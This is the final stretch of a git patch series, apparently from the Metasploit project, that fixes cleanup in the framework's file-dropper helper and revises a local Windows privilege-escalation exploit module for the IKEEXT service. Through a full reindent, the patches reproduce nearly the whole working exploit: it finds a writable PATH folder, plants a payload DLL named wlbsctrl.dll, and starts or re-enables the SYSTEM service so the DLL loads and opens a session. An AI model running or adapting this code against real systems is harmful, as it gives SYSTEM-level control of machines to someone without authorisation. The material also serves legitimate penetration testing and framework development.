(f['GetLastError'] == 2) vprint_error("The system cannot find the file specified: #{dir}") return nil else - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") + return nil end - #check for write access, called once to get buffer size a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) len = a["PrivilegeSetLength"] From 1471a4fceffba3f34d93e91c0795af17d3605c55 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 3 Sep 2013 23:39:59 +0100 Subject: [PATCH 26/31] Fixes an error in file_dropper where @dropped_files is nil causing an exception to be raised and on_new_session to fail. I have moved super to the top of the chain so it always gets called regardless. --- lib/msf/core/exploit/file_dropper.rb | 62 ++++++++++++++-------------- 1 file changed, 32 insertions(+), 30 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 8923762ec5..04841ece8b 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -20,46 +20,48 @@ module Exploit::FileDropper # @return [void] # def on_new_session(session) + super + if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end - @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" - begin - # Meterpreter should do this automatically as part of - # fs.file.rm(). Until that has been implemented, remove the - # read-only flag with a command. - if session.platform =~ /win/ - session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + if @dropped_files + @dropped_files.delete_if do |file| + win_file = file.gsub("/", "\\\\") + if session.type == "meterpreter" + begin + # Meterpreter should do this automatically as part of + # fs.file.rm(). Until that has been implemented, remove the + # read-only flag with a command. + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end + session.fs.file.rm(file) + print_good("Deleted #{file}") + true + rescue ::Rex::Post::Meterpreter::RequestError + false end - session.fs.file.rm(file) + else + cmds = [ + %Q|attrib.exe -r "#{win_file}"|, + %Q|del.exe /f /q "#{win_file}"|, + %Q|rm -f "#{file}" >/dev/null|, + ] + + # We need to be platform-independent here. Since we can't be + # certain that {#target} is accurate because exploits with + # automatic targets frequently change it, we just go ahead and + # run both a windows and a unixy command in the same line. One + # of them will definitely fail and the other will probably + # succeed. Doing it this way saves us an extra round-trip. + session.shell_command_token(cmds.join(" ; ")) print_good("Deleted #{file}") true - rescue ::Rex::Post::Meterpreter::RequestError - false end - else - cmds = [ - %Q|attrib.exe -r "#{win_file}"|, - %Q|del.exe /f /q "#{win_file}"|, - %Q|rm -f "#{file}" >/dev/null|, - ] - - # We need to be platform-independent here. Since we can't be - # certain that {#target} is accurate because exploits with - # automatic targets frequently change it, we just go ahead and - # run both a windows and a unixy command in the same line. One - # of them will definitely fail and the other will probably - # succeed. Doing it this way saves us an extra round-trip. - session.shell_command_token(cmds.join(" ; ")) - print_good("Deleted #{file}") - true end end - - super end # From 3066e7e19db3381ebc1219f522addc6647c1b480 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 4 Sep 2013 00:14:10 +0100 Subject: [PATCH 27/31] ReverseConnectRetries ftw --- modules/exploits/windows/local/ikeext_service.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 37bce0657b..6a69e675d4 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Local 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'WfsDelay' => '5' + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 }, 'DefaultTarget' => 0 )) From 9787bb80e775d1cde020457c52411519bbbc81d3 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 19:57:05 +0100 Subject: [PATCH 28/31] Address @jlee-r7's feedback --- modules/exploits/windows/local/ikeext_service.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 6a69e675d4..12e98d47d4 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -201,12 +201,12 @@ class Metasploit3 < Msf::Exploit::Local begin @token = get_imperstoken - rescue ::Exception => e - vprint_error("Failed to get token, Exception: #{e}") - ensure - fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}") unless @token + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") end + fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token + if is_system? fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") end @@ -291,7 +291,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Service started...") register_file_for_cleanup(@dll_file_path) end - rescue ::Exception => e + rescue RuntimeError if service_information['Startup'] == 'Manual' register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") From d4043a664689f987aa6a26c8e8c4e086db56ff85 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 20:41:37 +0100 Subject: [PATCH 29/31] Spaces and change to filedropper --- lib/msf/core/exploit/file_dropper.rb | 62 +-- .../exploits/windows/local/ikeext_service.rb | 510 +++++++++--------- 2 files changed, 287 insertions(+), 285 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 17f7d90357..008f5ded8f 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -26,40 +26,42 @@ module Exploit::FileDropper session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end - if @dropped_files - @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" - begin - # Meterpreter should do this automatically as part of - # fs.file.rm(). Until that has been implemented, remove the - # read-only flag with a command. - if session.platform =~ /win/ - session.shell_command_token(%Q|attrib.exe -r #{win_file}|) - end - session.fs.file.rm(file) - print_good("Deleted #{file}") - true - rescue ::Rex::Post::Meterpreter::RequestError - false - end - else - cmds = [ - %Q|attrib.exe -r "#{win_file}"|, - %Q|del.exe /f /q "#{win_file}"|, - %Q|rm -f "#{file}" >/dev/null|, - ] + if not @dropped_files or @dropped_files.empty? + return true + end - # We need to be platform-independent here. Since we can't be - # certain that {#target} is accurate because exploits with - # automatic targets frequently change it, we just go ahead and - # run both a windows and a unixy command in the same line. One - # of them will definitely fail and the other will probably - # succeed. Doing it this way saves us an extra round-trip. - session.shell_command_token(cmds.join(" ; ")) + @dropped_files.delete_if do |file| + win_file = file.gsub("/", "\\\\") + if session.type == "meterpreter" + begin + # Meterpreter should do this automatically as part of + # fs.file.rm(). Until that has been implemented, remove the + # read-only flag with a command. + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end + session.fs.file.rm(file) print_good("Deleted #{file}") true + rescue ::Rex::Post::Meterpreter::RequestError + false end + else + cmds = [ + %Q|attrib.exe -r "#{win_file}"|, + %Q|del.exe /f /q "#{win_file}"|, + %Q|rm -f "#{file}" >/dev/null|, + ] + + # We need to be platform-independent here. Since we can't be + # certain that {#target} is accurate because exploits with + # automatic targets frequently change it, we just go ahead and + # run both a windows and a unixy command in the same line. One + # of them will definitely fail and the other will probably + # succeed. Doing it this way saves us an extra round-trip. + session.shell_command_token(cmds.join(" ; ")) + print_good("Deleted #{file}") + true end end end diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 12e98d47d4..92010722d9 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -11,304 +11,304 @@ require 'msf/core/post/windows/services' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local - Rank = GoodRanking + Rank = GoodRanking - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Post::File - include Msf::Post::Windows::Priv - include Msf::Post::Windows::Services - include Msf::Post::Windows::Accounts + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts - def initialize(info={}) - super( update_info( info, - 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', - 'Description' => %q{ - This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' - (IKEEXT) service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. - It requires an insecure bin path to plant the DLL payload. - }, - 'References' => - [ - ['URL', 'https://www.htbridge.com/advisory/HTB23108'], - ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] - ], - 'DisclosureDate' => "Oct 09 2012", - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Ben Campbell ' - ], - 'Platform' => [ 'win'], - 'Targets' => - [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] - ], - 'SessionTypes' => [ "meterpreter" ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - 'WfsDelay' => 5, - 'ReverseConnectRetries' => 255 - }, - 'DefaultTarget' => 0 - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', + 'Description' => %q{ + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' + (IKEEXT) service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. + It requires an insecure bin path to plant the DLL payload. + }, + 'References' => + [ + ['URL', 'https://www.htbridge.com/advisory/HTB23108'], + ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] + ], + 'DisclosureDate' => "Oct 09 2012", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell ' + ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 + }, + 'DefaultTarget' => 0 + )) - register_options([ - OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) - ]) - @service_name = 'IKEEXT' - @load_lib_search_path = [ '%SystemRoot%\\System32', - '%SystemRoot%\\System', - '%SystemRoot%' - ] - @non_existant_dirs = [] - end + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) + ]) + @service_name = 'IKEEXT' + @load_lib_search_path = [ '%SystemRoot%\\System32', + '%SystemRoot%\\System', + '%SystemRoot%' + ] + @non_existant_dirs = [] + end - def check_service_exists?(service) - srv_info = service_info(service) + def check_service_exists?(service) + srv_info = service_info(service) - if srv_info.nil? - print_warning("Unable to enumerate services.") - return false - end + if srv_info.nil? + print_warning("Unable to enumerate services.") + return false + end - if srv_info && srv_info['Name'].empty? - print_warning("Service #{service} does not exist.") - return false - else - return true - end - end + if srv_info && srv_info['Name'].empty? + print_warning("Service #{service} does not exist.") + return false + else + return true + end + end - def check - srv_info = service_info('IKEEXT') + def check + srv_info = service_info('IKEEXT') - if !check_service_exists?(@service_name) - return Exploit::CheckCode::Safe - end + if !check_service_exists?(@service_name) + return Exploit::CheckCode::Safe + end - vprint_status(srv_info.to_s) + vprint_status(srv_info.to_s) - case srv_info['Startup'] - when 'Disabled' - print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") - return Exploit::CheckCode::Safe - when 'Manual' - print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") - return Exploit::CheckCode::Safe - when 'Auto' - print_good("Service is set to Automatically start...") - end + case srv_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") + end - if check_search_path - return Exploit::CheckCode::Safe - end + if check_search_path + return Exploit::CheckCode::Safe + end - return Exploit::CheckCode::Vulnerable - end + return Exploit::CheckCode::Vulnerable + end - def check_search_path - dll = 'wlbsctrl.dll' + def check_search_path + dll = 'wlbsctrl.dll' - @load_lib_search_path.each do |path| - dll_path = "#{expand_path(path)}\\#{dll}" + @load_lib_search_path.each do |path| + dll_path = "#{expand_path(path)}\\#{dll}" - if file_exist?(dll_path) - print_warning("DLL already exists at #{dll_path}...") - return true - end - end + if file_exist?(dll_path) + print_warning("DLL already exists at #{dll_path}...") + return true + end + end - return false - end + return false + end - def check_system_path - print_status("Checking %PATH% folders for write access...") - result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + def check_system_path + print_status("Checking %PATH% folders for write access...") + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') - if result.nil? - print_error("Unable to retrieve %PATH% from registry.") - return - end + if result.nil? + print_error("Unable to retrieve %PATH% from registry.") + return + end - paths = result.split(';') - paths.append(@load_lib_search_path).flatten!.uniq! + paths = result.split(';') + paths.append(@load_lib_search_path).flatten!.uniq! - paths.each do |p| - path = expand_path(p) - if exist?(path) - if check_write_access(path) - return path - end - else - # User may be able to create the path... - print_status("Path #{path} does not exist...") - @non_existant_dirs << path - end - end + paths.each do |p| + path = expand_path(p) + if exist?(path) + if check_write_access(path) + return path + end + else + # User may be able to create the path... + print_status("Path #{path} does not exist...") + @non_existant_dirs << path + end + end - return nil - end + return nil + end - def check_write_access(path) - perm = check_dir_perms(path, @token) - if perm and perm.include?('W') - print_good ("Write permissions in #{path} - #{perm}") - return true - elsif perm - vprint_status ("Permissions for #{path} - #{perm}") - else - vprint_status ("No permissions for #{path}") - end + def check_write_access(path) + perm = check_dir_perms(path, @token) + if perm and perm.include?('W') + print_good ("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end - return false - end + return false + end - def check_dirs - print_status("Attempting to create a non-existant PATH dir to use.") - @non_existant_dirs.each do |dir| - begin - client.fs.dir.mkdir(dir) - if exist?(dir) - register_file_for_cleanup(dir) - return dir - end - rescue Rex::Post::Meterpreter::RequestError => e - vprint_status("Unable to create dir: #{dir} - #{e}") - end - end + def check_dirs + print_status("Attempting to create a non-existant PATH dir to use.") + @non_existant_dirs.each do |dir| + begin + client.fs.dir.mkdir(dir) + if exist?(dir) + register_file_for_cleanup(dir) + return dir + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_status("Unable to create dir: #{dir} - #{e}") + end + end - return nil - end + return nil + end - def check_session_arch - if sysinfo['Architecture'] =~ /x64/i - if payload_instance.arch.first == 'x86' - fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") - end - else - if payload_instance.arch.first =~ /64/i - fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") - end - end - end + def check_session_arch + if sysinfo['Architecture'] =~ /x64/i + if payload_instance.arch.first == 'x86' + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + else + if payload_instance.arch.first =~ /64/i + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + end + end - def exploit - check_session_arch + def exploit + check_session_arch - begin - @token = get_imperstoken - rescue Rex::Post::Meterpreter::RequestError - vprint_error("Error while using get_imperstoken: #{e}") - end + begin + @token = get_imperstoken + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") + end - fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token + fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token - if is_system? - fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") - end + if is_system? + fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") + end - print_status("Checking service exists...") - if !check_service_exists?(@service_name) - fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") - end + print_status("Checking service exists...") + if !check_service_exists?(@service_name) + fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") + end - if is_uac_enabled? - print_warning("UAC is enabled, may get false negatives on writable folders.") - end + if is_uac_enabled? + print_warning("UAC is enabled, may get false negatives on writable folders.") + end - if datastore['DIR'].empty? - # If DLL already exists in system folders, we dont want to overwrite by accident - if check_search_path - fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") - end + if datastore['DIR'].empty? + # If DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") + end - file_path = check_system_path - file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs - if file_path.nil? - fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") - end - else - # Use manually selected Dir - file_path = datastore['DIR'] - end + if file_path.nil? + fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") + end + else + # Use manually selected Dir + file_path = datastore['DIR'] + end - @dll_file_path = "#{file_path}\\wlbsctrl.dll" + @dll_file_path = "#{file_path}\\wlbsctrl.dll" - service_information = service_info(@service_name) + service_information = service_info(@service_name) - if service_information['Startup'] == 'Disabled' - print_status("Service is disabled, attempting to enable...") - service_change_startup(@service_name, 'auto') - service_information = service_info(@service_name) + if service_information['Startup'] == 'Disabled' + print_status("Service is disabled, attempting to enable...") + service_change_startup(@service_name, 'auto') + service_information = service_info(@service_name) - # Still disabled - if service_information['Startup'] == 'Disabled' - fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") - end - end + # Still disabled + if service_information['Startup'] == 'Disabled' + fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") + end + end - # Check architecture - dll = generate_payload_dll + # Check architecture + dll = generate_payload_dll - # - # Drop the malicious executable into the path - # - print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") - begin - write_file(@dll_file_path, dll) - rescue Rex::Post::Meterpreter::RequestError => e - # Can't write the file, can't go on - fail_with(Exploit::Failure::Unknown, e.message) - end + # + # Drop the malicious executable into the path + # + print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") + begin + write_file(@dll_file_path, dll) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + fail_with(Exploit::Failure::Unknown, e.message) + end - # - # Run the service, let the Windows API do the rest - # - print_status("Launching service #{@service_name}...") + # + # Run the service, let the Windows API do the rest + # + print_status("Launching service #{@service_name}...") - begin - status = service_start(@service_name) - if status == 1 - print_status("Service already running, attempting to restart...") - if service_stop(@service_name) == 0 - print_status("Service stopped, attempting to start...") - if service_start(@service_name) == 0 - print_status("Service started...") - else - register_file_for_cleanup(@dll_file_path) - fail_with(Exploit::Failure::Unknown, "Unable to start service.") - end - else - register_file_for_cleanup(@dll_file_path) - fail_with(Exploit::Failure::Unknown, "Unable to stop service") - end - elsif status == 0 - print_status("Service started...") - register_file_for_cleanup(@dll_file_path) - end - rescue RuntimeError - if service_information['Startup'] == 'Manual' - register_file_for_cleanup(@dll_file_path) - fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") - else - if job_id - print_status("Unable to start service, handler running waiting for a reboot...") - while(true) - break if session_created? - select(nil,nil,nil,1) - end - else - register_file_for_cleanup(@dll_file_path) - fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") - end - end - end - end + begin + status = service_start(@service_name) + if status == 1 + print_status("Service already running, attempting to restart...") + if service_stop(@service_name) == 0 + print_status("Service stopped, attempting to start...") + if service_start(@service_name) == 0 + print_status("Service started...") + else + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to start service.") + end + else + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to stop service") + end + elsif status == 0 + print_status("Service started...") + register_file_for_cleanup(@dll_file_path) + end + rescue RuntimeError + if service_information['Startup'] == 'Manual' + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") + else + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + break if session_created? + select(nil,nil,nil,1) + end + else + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end + end + end + end end From 400b4332677666ba28f6a32ebd22beff96471299 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 22:21:44 +0100 Subject: [PATCH 30/31] Sort out exception handling --- modules/exploits/windows/local/ikeext_service.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 92010722d9..f8cec3029f 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -291,7 +291,8 @@ class Metasploit3 < Msf::Exploit::Local print_status("Service started...") register_file_for_cleanup(@dll_file_path) end - rescue RuntimeError + rescue RuntimeError => e + raise e if e.kind_of? Msf::Exploit::Failed if service_information['Startup'] == 'Manual' register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") From 473f08bbb64ff881c2a9080f51eb4b94d2ef614c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 22:43:26 +0100 Subject: [PATCH 31/31] Register cleanup and update check --- modules/exploits/windows/local/ikeext_service.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index f8cec3029f..626a8f24f3 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Local end def check - srv_info = service_info('IKEEXT') + srv_info = service_info(@service_name) if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe @@ -261,6 +261,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin write_file(@dll_file_path, dll) + register_file_for_cleanup(@dll_file_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Exploit::Failure::Unknown, e.message) @@ -280,21 +281,17 @@ class Metasploit3 < Msf::Exploit::Local if service_start(@service_name) == 0 print_status("Service started...") else - register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else - register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") - register_file_for_cleanup(@dll_file_path) end rescue RuntimeError => e raise e if e.kind_of? Msf::Exploit::Failed if service_information['Startup'] == 'Manual' - register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else if job_id @@ -304,7 +301,6 @@ class Metasploit3 < Msf::Exploit::Local select(nil,nil,nil,1) end else - register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end end